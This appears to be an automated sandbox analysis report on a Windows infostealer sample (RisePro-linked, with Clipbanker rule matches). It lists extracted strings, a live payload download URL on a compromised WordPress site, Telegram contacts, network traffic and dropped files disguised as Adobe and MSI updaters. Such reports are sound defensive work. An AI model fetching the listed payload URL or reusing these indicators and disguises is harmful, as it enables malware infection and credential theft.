Source: file.exe, 00000000.00000003.2660060776.0000000005DE5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3809076679.0000000005DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mi
Source: file.exe, 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: file.exe, 00000000.00000003.1432787987.0000000005DAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1428508765.0000000006228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.1432787987.0000000005DAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1428508765.0000000006228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1432787987.0000000005DAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1428508765.0000000006228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1432787987.0000000005DAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1428508765.0000000006228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2659977352.0000000001295000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441917639.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441725385.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442821910.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3808018972.000000000129A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: file.exe, 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=154.16.105.36
Source: file.exe, 00000000.00000003.2660139988.000000000123B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3807052921.000000000123C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=154.16.105.36P
Source: file.exe, 00000000.00000003.1432787987.0000000005DAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1428508765.0000000006228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1432787987.0000000005DAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1428508765.0000000006228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1432787987.0000000005DAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1428508765.0000000006228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000002.3808658828.0000000005DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae/
Source: file.exe, 00000000.00000002.3808658828.0000000005DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae/_2
Source: file.exe, 00000000.00000002.3809076679.0000000005DE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae/wp-content/upgrade/k.exe
Source: file.exe, 00000000.00000003.2660060776.0000000005DE5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3809076679.0000000005DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae/wp-content/upgrade/k.exe(d
Source: file.exe, 00000000.00000003.2660060776.0000000005DE5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3809076679.0000000005DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae/wp-content/upgrade/k.exexe
Source: file.exe, 00000000.00000003.2660060776.0000000005DE5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3809076679.0000000005DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae:80/wp-content/upgrade/k.exeUdZRC
Source: file.exe, 00000000.00000002.3808658828.0000000005DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae:80/wp-content/upgrade/k.exeuser
Source: file.exe, 00000000.00000003.2660060776.0000000005DE5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3809076679.0000000005DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae:80/wp-content/upgrade/k.exeid
Source: file.exe, 00000000.00000002.3807052921.0000000001201000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2659977352.0000000001295000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2660139988.0000000001246000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441917639.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3807052921.0000000001246000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441725385.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442821910.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3808018972.000000000129A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: file.exe, 00000000.00000002.3807052921.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/B
Source: file.exe, 00000000.00000003.2660139988.0000000001246000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3807052921.0000000001246000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: file.exe, 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: file.exe, 00000000.00000003.2660139988.000000000123B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3807052921.000000000123C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/k:
Source: file.exe, 00000000.00000002.3807052921.000000000121A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/154.16.105.36
Source: file.exe, 00000000.00000003.2660139988.0000000001246000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3807052921.0000000001246000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/154.16.105.36.
Source: file.exe, 00000000.00000003.2660139988.0000000001246000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3807052921.0000000001246000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/154.16.105.360
Source: file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, RthubJXJJOhKyKgs0z_b.exe.0.dr, IHobmyUUXF8jFZ9HHCK7.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: file.exe, 00000000.00000002.3808658828.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000002.3808658828.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: file.exe, 00000000.00000002.3808658828.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: file.exe, 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot
Source: file.exe, 00000000.00000003.1432787987.0000000005DAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1428508765.0000000006228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1432787987.0000000005DAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1428508765.0000000006228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000002.3808658828.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: file.exe, 00000000.00000002.3808658828.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: file.exe, 00000000.00000002.3808658828.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.3807052921.000000000125B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3809268404.0000000006210000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2660139988.000000000125B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441917639.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441725385.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442821910.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441495454.0000000006215000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp, Firefox_24a4ohrz.default-release.txt.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441917639.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441725385.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442821910.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/ata
Source: file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441917639.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441725385.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442821910.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/atata
Source: file.exe, 00000000.00000003.1425350053.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1429232034.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1433607742.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1435992765.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1434474770.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1438439382.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1426483191.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3808658828.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.3807052921.000000000125B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2660139988.000000000125B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441917639.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441725385.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442821910.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/irefoxf
Source: file.exe, 00000000.00000002.3809268404.0000000006210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/nS

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.220.53:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.220.53:443 -> 192.168.2.8:49717 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_068FC230 SetThreadExecutionState,SetThreadExecutionState,CreateThread,CloseHandle,GetDesktopWindow,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,shutdown,closesocket,SetThreadDesktop,Sleep,GetCurrentThreadId,GetThreadDesktop,SetThreadDesktop,GetCurrentThreadId,GetThreadDesktop,BitBlt,DeleteObject,DeleteDC,ReleaseDC,Sleep,GetSystemMetrics,GetSystemMetrics,GetCurrentThreadId,GetThreadDesktop,SwitchDesktop,SetThreadDesktop,Sleep,Sleep,DeleteObject,DeleteDC,ReleaseDC,

0_2_068FC230

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_068D9080 OpenDesktopA,CreateDesktopA,

0_2_068D9080

System Summary

Malicious sample detected (through community Yara rule)

Source: 38.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 38.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 13.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 13.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 20.2.RthubJXJJOhKyKgs0z_b.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 20.2.RthubJXJJOhKyKgs0z_b.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 33.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 33.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 21.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 21.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 30.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 8.2.IHobmyUUXF8jFZ9HHCK7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 8.2.IHobmyUUXF8jFZ9HHCK7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 41.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 41.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 44.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 44.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 12.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 12.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000015.00000002.1654590911.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000015.00000002.1654590911.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000008.00000002.1568547608.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000008.00000002.1568547608.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000029.00000002.1986808153.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000029.00000002.1986808153.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000026.00000002.1907034183.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000026.00000002.1907034183.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000016.00000002.1653499972.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000016.00000002.1653499972.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001E.00000002.1731319908.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001E.00000002.1731319908.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000014.00000002.1638452398.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000014.00000002.1638452398.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000002C.00000002.3795988174.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000002C.00000002.3795988174.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000C.00000002.1586960616.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000C.00000002.1586960616.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000B.00000002.1585774146.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000B.00000002.1585774146.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000019.00000002.1649208169.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000019.00000002.1649208169.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000021.00000002.1812078816.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000021.00000002.1812078816.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000D.00000002.1585794053.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000D.00000002.1585794053.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown

PE file contains section with special chars

Source: file.exe	Static PE information: section name: .vmp,,,0
Source: file.exe	Static PE information: section name: .vmp,,,1
Source: file.exe	Static PE information: section name: .vmp,,,2

Source: C:\Users\user\Desktop\file.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_068DC480 CreateProcessAsUserA,CloseHandle,CloseHandle,WaitForSingleObject,GetExitCodeProcess,

0_2_068DC480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00658080	0_2_00658080
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E2100	0_2_005E2100
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069C8D0	0_2_0069C8D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B8BA0	0_2_005B8BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A3160	0_2_006A3160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005DF730	0_2_005DF730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A40A0	0_2_006A40A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005A035F	0_2_005A035F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00646470	0_2_00646470
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B47AD	0_2_005B47AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059A918	0_2_0059A918
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A4AE0	0_2_006A4AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00644B90	0_2_00644B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00782DF7	0_2_00782DF7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B8E20	0_2_005B8E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00597190	0_2_00597190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069F280	0_2_0069F280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058F570	0_2_0058F570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064B500	0_2_0064B500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A5A40	0_2_006A5A40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064BFC0	0_2_0064BFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_068DA230	0_2_068DA230
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_068FC990	0_2_068FC990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_068FD540	0_2_068FD540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_068D9A10	0_2_068D9A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_068E3B60	0_2_068E3B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_068F1980	0_2_068F1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0691E63B	0_2_0691E63B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_068DC760	0_2_068DC760
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_068E24B0	0_2_068E24B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0691E2DC	0_2_0691E2DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_068F4370	0_2_068F4370

Source: Joe Sandbox View	Dropped File: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
Source: Joe Sandbox View	Dropped File: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000003.2660060776.0000000005DE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000002.3809076679.0000000005DE6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.1554817305.0000000006611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.1619335291.00000000068B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
